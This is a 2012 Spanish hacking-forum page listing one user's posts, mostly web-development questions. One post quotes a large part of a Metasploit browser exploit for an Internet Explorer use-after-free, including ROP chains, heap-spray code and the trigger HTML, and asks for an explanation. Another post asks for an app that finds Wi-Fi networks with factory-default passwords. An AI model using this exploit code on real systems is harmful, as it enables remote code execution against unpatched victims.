elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: 1 [2]
11  Programación / Desarrollo Web / Como mandar correos a tus usuarios sin pasar por la lista negra? en: 20 Septiembre 2012, 14:03 pm
Hola a todos tengo una WEB con usuarios y emails,me gustaria poder mandarles un correo electronico a todos.Pero me gustaria saber cual es el mejor metodo , para que no me pongan en listas negras.



Alguien me puede ayudar .Saludos
12  Programación / Programación C/C++ / Exlpoit Zero Day. en: 19 Septiembre 2012, 13:39 pm
Hola a todos .
Como ya sabran muchos hya un exploit por hay suelto que microsoft teme.

Me puse a investigar un poco.
Encontre el exploit y me puse a leerlo.

Necesito ayuda para entender el codigo.

http://dev.metasploit.com/redmine/projects/framework/repository/revisions/cc8102434af31669cdd54fe10e438181498983e5/entry/modules/exploits/windows/browser/ie_execcommand_uaf.rb

Algun programador que pueda resumirme rapidamente las partes para que sirven?
Resumirme en 3 bloques O 4 MAS O MENOS PARA SABER LO QUE HACE.

No entinedo a partir de aqui.
Código:
 def get_payload(t, cli)

                code = payload.encoded

                # No rop. Just return the payload.

                return code if t['Rop'].nil?

                # Both ROP chains generated by mona.py - See corelan.be

                case t['Rop']

                when :msvcrt

                        print_status("Using msvcrt ROP")

                        exec_size = code.length

                        stack_pivot = [

                                0x77c4e393, # RETN

                                0x77c4e392, # POP EAX # RETN

                                0x77c15ed5, # XCHG EAX, ESP # RETN

                        ].pack("V*")

                        rop =

                        [

                                0x77C21891,  # POP ESI # RETN

                                0x0c0c0c04,  # ESI

                                0x77c4e392,  # POP EAX # RETN

                                0x77c11120,  # <- *&VirtualProtect()

                                0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN

                                junk,

                                0x77c2dd6c,  # XCHG EAX,ESI # ADD [EAX], AL # RETN

                                0x77c4ec00,  # POP EBP # RETN

                                0x77c35459,  # ptr to 'push esp #  ret'

                                0x77c47705,  # POP EBX # RETN

                                exec_size,   # EBX

                                0x77c3ea01,  # POP ECX # RETN

                                0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)

                                0x77c46100,  # POP EDI # RETN

                                0x77c46101,  # ROP NOP (-> edi)

                                0x77c4d680,  # POP EDX # RETN

                                0x00000040,  # newProtect (0x40) (-> edx)

                                0x77c4e392,  # POP EAX # RETN

                                nop,         # NOPS (-> eax)

                                0x77c12df9,  # PUSHAD # RETN

                        ].pack("V*")

                when :jre

                        print_status("Using JRE ROP")

                        exec_size = 0xffffffff - code.length + 1

                        if t['Random']

                                stack_pivot = [

                                        0x0c0c0c0c, # 0c0c0c08

                                        0x7c347f98, # RETN

                                        0x7c347f97, # POP EDX # RETN

                                        0x7c348b05  # XCHG EAX, ESP # RET

                                ].pack("V*")

                        else

                                stack_pivot = [

                                        0x7c347f98, # RETN

                                        0x7c347f97, # POP EDX # RETN

                                        0x7c348b05  # XCHG EAX, ESP # RET

                                ].pack("V*")

                        end

                        rop =

                        [

                                0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN

                                exec_size,   # Value to negate, will become 0x00000201 (dwSize)

                                0x7c347f98,  # RETN (ROP NOP)

                                0x7c3415a2,  # JMP [EAX]

                                0xffffffff,

                                0x7c376402,  # skip 4 bytes

                                0x7c351e05,  # NEG EAX # RETN

                                0x7c345255,  # INC EBX # FPATAN # RETN

                                0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN

                                0x7c344f87,  # POP EDX # RETN

                                0xffffffc0,  # Value to negate, will become 0x00000040

                                0x7c351eb1,  # NEG EDX # RETN

                                0x7c34d201,  # POP ECX # RETN

                                0x7c38b001,  # &Writable location

                                0x7c347f97,  # POP EAX # RETN

                                0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]

                                0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN

                                0x7c345c30,  # ptr to 'push esp #  ret '

                        ].pack("V*")

                end

                code = stack_pivot + rop + code

                return code

        end

        # Spray published by corelanc0d3r

        # Exploit writing tutorial part 11 : Heap Spraying Demystified

        # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

        def get_random_spray(t, js_code, js_nops)

                spray = <<-JS


                function randomblock(blocksize)

                {

                        var theblock = "";

                        for (var i = 0; i < blocksize; i++)

                        {

                                theblock += Math.floor(Math.random()*90)+10;

                        }

                        return theblock;

                }


                function tounescape(block)

                {

                        var blocklen = block.length;

                        var unescapestr = "";

                        for (var i = 0; i < blocklen-1; i=i+4)

                        {

                                unescapestr += "%u" + block.substring(i,i+4);

                        }

                        return unescapestr;

                }


                var heap_obj = new heapLib.ie(0x10000);


                var code = unescape("#{js_code}");

                var nops = unescape("#{js_nops}");


                while (nops.length < 0x80000) nops += nops;


                var offset_length = #{t['Offset']};


                for (var i=0; i < 0x1000; i++) {

                        var padding = unescape(tounescape(randomblock(0x1000)));

                        while (padding.length < 0x1000) padding+= padding;

                        var junk_offset = padding.substring(0, offset_length);

                        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);

                        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

                        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

                        heap_obj.alloc(sprayblock);

                }


                JS

                return spray

        end

        def get_spray(t, js_code, js_nops)

                js = <<-JS

                var heap_obj = new heapLib.ie(0x20000);

                var code = unescape("#{js_code}");

                var nops = unescape("#{js_nops}");


                while (nops.length < 0x80000) nops += nops;

                var offset = nops.substring(0, #{t['Offset']});

                var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);


                while (shellcode.length < 0x40000) shellcode += shellcode;

                var block = shellcode.substring(0, (0x80000-6)/2);


                heap_obj.gc();


                for (var i=1; i < 0x300; i++) {

                        heap_obj.alloc(block);

                }


                var overflow = nops.substring(0, 10);

                JS

        end

        def load_html1(cli, my_target)

                p = get_payload(my_target, cli)

                js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

                js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

                js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

                if my_target['Random']

                        js = get_random_spray(my_target, js_code, js_r_nops)

                else

                        js = get_spray(my_target, js_code, js_nops)

                end

                js = heaplib(js, {:noobfu => true})

                html = <<-EOS

                <html>

                        <body>

                                <script>

                                        var arrr = new Array();

                                        arrr[0] = window.document.createElement("img");

                                        arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";

                                </script>


                                <iframe src="#{this_resource}/#{@html2_name}"></iframe>

                                <script>

                                        #{js}

                        </script>

                        </body>

                </html>

                EOS

                return html

        end

        def load_html2

                html = %Q|

                <HTML>

                        <script>

                                function funcB() {

                                        document.execCommand("selectAll");

                                };


                                function funcA() {

                                        document.write("#{Rex::Text.rand_text_alpha(1)}");

                                        parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";

                                }


                        </script>

                        <body onload='funcB();' onselect='funcA()'>

                                <div contenteditable='true'>

                                        a

                                </div>

                        </body>

                </HTML>

                |

                return html

        end

        def this_resource

                r = get_resource

                return ( r == '/') ? '' : r

        end

        def on_request_uri(cli, request)

                print_status request.headers['User-Agent']

                agent = request.headers['User-Agent']

                my_target = get_target(agent)

                # Avoid the attack if the victim doesn't have the same setup we're targeting

                if my_target.nil?

                        print_error("Browser not supported, sending a 404: #{agent.to_s}")

                        send_not_found(cli)

                        return

                end

                vprint_status("Requesting: #{request.uri}")

                if request.uri =~ /#{@html2_name}/

                        print_status("Loading #{@html2_name}")

                        html = load_html2

                elsif request.uri =~ /#{@html1_name}/

                        print_status("Loading #{@html1_name}")

                        html = load_html1(cli, my_target)

                elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/

                        print_status("Redirecting to #{@html1_name}")

                        send_redirect(cli, "#{this_resource}/#{@html1_name}")

                        return

                else

                        send_not_found(cli)

                        return

                end

                html = html.gsub(/^\t\t/, '')

                send_response(cli, html, {'Content-Type'=>'text/html'})

        end

        def exploit

                @html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"

                @html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"

                super

        end

end

Igual he pedido demasiado pero cualquier ayuda es bien recibida   :P
Saludos
13  Foros Generales / Foro Libre / La pelicula de * que dio la vuelta al mundo. en: 19 Septiembre 2012, 10:31 am
Alguien me podria explicar porque una pelicula , que hace referencia a un dios  ridiculizandolo,como puede probocar esta oleada de ataques mediaticos revindicando blasfemias contra su religion; cuando todos los dias veo peliculas que se mofan de Jesus y de cualquier cosa.
Quien dice nada?
Estoy en mi derecho de ridiculizar a un dios en una pelicula si asi me lo parece ;
porque la ley de expresion me lo permite.
Os acordais de la vida de Bryan?
Bueno y que ? cuantos murieron por hacer esa pelicula?

Que demonios pasa para que le den tanta importancia los musulmanes, de que tienen miedo?
Que va a cambiar?
Mira que soy creyente pero me La SUDA que ridiculizen a dios.Si no te gusta no lo veas.
Como el porno.Si t egusta lo ves si no no!
14  Comunicaciones / Redes / Programa que analiza las REDES WIFI CERCANAS y busca contrasenias de fabrica en: 20 Agosto 2012, 13:20 pm
Hola buenas a todos!


Mi pregunta es muy sencilla , conoceis algun programa para moviles(Iphone) y (Htc) (Windows) para buscar Passwords por defecto(Fabrica).

Recuerdo haberlo visto en algun movil y queria investigar un poco.

No me vengias con lo de que aqui no se hace esto ni aquello.
No quiero ni wifyslax ni nada
No quiero analizar Paquetes durante horas para luego sacar la clave NO!!
 ;quiero lo dicho ,un programa que en cuestion de segundos te diga que WIFY tiene contrasenias de fabrica!

Veo a gente con esos progrmas y son gente con 0 conociminetos de informatica.


15  Programación / Desarrollo Web / Pregunta a desarolladores Web con experiencia.Links visitados. en: 3 Julio 2012, 13:56 pm
 Hola a todos.
Estoy desarollando una aplicacion WEB, y quiero ver los enlaces ya visitados!
Hasta aqui direis que facil solo hay que ponerle un css
Código:
a:visited
.Pero No!

Tengo un listview con miles de enlaces que redireccionan a una misma pagina .ASPX ,pero segun el enlace que pinches el valor del enlace es mandado a lado servidor y  el contenido de la pagina redireccionada cambia!

Por lo que me gustaria saber cual seria el metodo mas practico para mostrarme enlaces del listview como visitados cuando sean visitados!

  • BD
  • Cookies
  • Otro metodo?


Espero que alguien pueda ayudarme!
Gracias de antemano.
16  Programación / Desarrollo Web / Asp.net (visited) linkbutton no cambia de color en: 27 Junio 2012, 12:04 pm
Hola buenas, tengo un listview con linkbuttons que llaman a una funcion en lado servidor para sacar los links!
Necesito que esos links cambien de color y con los css no consigo nada.

Código:
<style type="text/css"> 
 CAmbiaColores
{
    font-size: 1em;
    text-align: right;
    padding: 10px;
    padding-right: 15px;
    color: #0066FF;
}
CAmbiaColores:link
{   
color: black;
}
CAmbiaColores:visited
{   
color: Green;
}
CAmbiaColores:hover
{
  color:Orange;
  text-decoration:underline;
}
CAmbiaColores:active
{
 color: Green;
 text-decoration:underline;
}
</style>




Código:
 <asp:LinkButton ID="lblLinks" runat="server" CommandName="Order" CommandArgument="nada"  OnCommand="RellenaLinks" >nada</asp:LinkButton> 
Una vez se hace click sobre el linkbutton , postback, llama a la funcion y rellena .

Como puedo cambiar de color en mi situacion!
gracias de antemano!
17  Programación / Desarrollo Web / Duda! LLamar a una funcion desde Lado Cliente ,con un objeto de video ASP.NET en: 14 Mayo 2012, 17:25 pm
Hola buenas a todos!!
Estoy intnentado pasarle un valor de archivo de origen a un plug in de DIVX !
Necesito llamar a una funcion de lado cliente!Lo unico que he podido averiguar estos dias es de la sigueinte forma se llma a una funcion!

1:
Código:
 <%# DoSomething(Eval("value")) %>
2:
Código:
<%= DoSomething =%>
3
Código:
<%# Eval ("DoSomething") %>

y nada ninguna de esas formas pasa por la funcion, Si alguin pudiera resolverme esta duda se lo agraceria muhco ya que llevo varios dias sin progresar sobre este tema!Gracias.

codigo  lado Cliente:


Código:
  <form id="form1" runat="server">
    <div>
    
      
        
        <asp:ScriptManager ID="ScriptManager1"  EnablePageMethods="true" runat="server">
        </asp:ScriptManager>
    
      
        
        <br />
    
      
        
        <br />
    <object classid="clsid:67DdfdgFBF-DdffAB-41fa-9445-Cf8h1721616"
            codebase=""
            style="height: 752px; width: 795px">

 <param name="custommode" value="none" />

  <param name="src" value="<%= DoSomething =%>" />

<embed type="video/divx" src="<%= DoSomething =%>" custommode="none" width="512" height="382" pluginspage="/">
</embed>
</object>
18  Programación / .NET (C#, VB.NET, ASP) / LLamar a una funcion desde lado cliente ASP.NET en: 14 Mayo 2012, 15:57 pm
Hola buenas!

Estoy implementando un plugin que reproduce arhivos (mkv - avi) a mi proyecto el plugin funciona correctamente ucando le doy una ruta estatica (ej:c:video.mkv ) al video deseado! Pero ahora lo que quiero es ponerle un valor proveniente de una funcion  en lado servidor!pero no me acuerdo de como era!

Codigo!(Client Side):

Código:
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
   
     
       
        <asp:ScriptManager ID="ScriptManager1"  EnablePageMethods="true" runat="server">
        </asp:ScriptManager>
   
     
       
        <br />
   
     
       
        <br />
    <object classid="clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616"
            codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab"
            style="height: 752px; width: 795px">

 <param name="custommode" value="none" />

  <param name="src" value="[color=red]<%# DoSomething(Eval("value")) %>[/color]" />

<embed type="video/divx" src="[color=red]<%# DoSomething(Eval("value")) %>[/color]" custommode="none" width="512" height="382" pluginspage="http://go.divx.com/plugin/download/">
</embed>
</object>


La forma que utilizo para llamar a una funcion al  lado servidor es
Código:
<%# DoSomething(Eval("value")) %>

Dosomething seria mi fucnion y value el parametro

Porqlo que no se si lo estoy haciendolo mal o no!
Si alguien pudiera resolerme esta duda se lo agradeceria mucho!
19  Programación / .NET (C#, VB.NET, ASP) / Moverse de forma automatizada a punto deseado-Duda en: 10 Mayo 2012, 08:49 am
Hola buenos dias a todos.

Estoy trabajando en un proyecto de Actualizacion de antivirus,pero ahora se me a ocurrido que me gustaria mover de forma automatizada a cualquier boton del escritorio o objeto de Windows.Hasta aqui todo bien.

Ahora mi pregunta es: para moverme a un punto necesito primero saber la posicion, pero para saber la posicion necesito hacer 1:OCR? o
                                                              2:Hay alguna forma de saber donde se encuentran todos los controles y objetos de windows ?(quiero saber la posicion exacta de cada objeto, para luego desplazarme  a la posicion y pinchar boton deseado o escribir en un objeto text etc..!
Me planteo que opcion coger porque el OCR es un proceso largo.A ver si alguien me puede ayudar o si tiene alguno una idea mejor.

Gracias de antemano a todo(s) los que me puedan ayudar :P!
 
20  Programación / .NET (C#, VB.NET, ASP) / Problemas al extraer Codigofuente de MEDIAFIRE en: 26 Abril 2012, 13:26 pm
Hola muy buenas a todos !
A ver si alguien me puede ayudar con este tema que llevo 2 semanas y sigo sin entender el porque a mi problema ,La idea final es crear un actualizador de NOD32.

El codigo fuente(WEB=MEDIAFIRE.com) extraido con MI PROGRAMA
no esta al completo, sin enbargo cuando miro el CodigoFuente con mi ExploradorWEB= (FIREFOX-GOOGLECROME-IE)el codigo fuente(WEB=MEDIAFIRE.com) no es el mismo al mio extraido y no precisamente for el final si no por el medio.

A ver si alguien tiene idea de porque puede ser que me estoy desesperando.

Voy a dejar mi codigo fuente;
Gracias de antemano

Esta parte Busca el codigo fuente y lo almacena en TEXTBOX
Código:
        Dim url As String = String.Empty

        url = txtWeb.Text

        If url = String.Empty Then

            MessageBox.Show("Enter url")

        Else

            Try

                Dim pagesource As String = getHtml(url)

                txtShow.Text = pagesource

            Catch ex As Exception

                MessageBox.Show("Error In retreiving code")

            End Try

        End If


        Call FindWord()


Esta parte Busca una palabra.
Código:
   Private Sub Findword()

        Dim posicionStart As Long
        Dim URLExtractionTemp As String


        Dim Numerico As Boolean
        Dim Position As Long
        Dim CountWordfound As Integer
        txtBusca.Text = "name="

        Position = 0
        posicionStart = 1
        CountWordfound = 0
        Try


            Do While Numerico = False
                If posicionStart = 0 Then
                    'Position += 1
                Else
                    Position = posicionStart + 1
                End If
                posicionStart = InStr(CInt(Position), txtShow.Text, txtBusca.Text)
                'If posicionStart = 0 Then Exit Sub

                URLExtractionTemp = Mid(txtShow.Text, posicionStart + 6, 6)
                CountWordfound += 1
                If IsNumeric(URLExtractionTemp) Then
                    Numerico = True
                Else
                    'posicionStart += 1
                End If
            Loop

        Catch ex As Exception

        End Try
    End Sub



Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines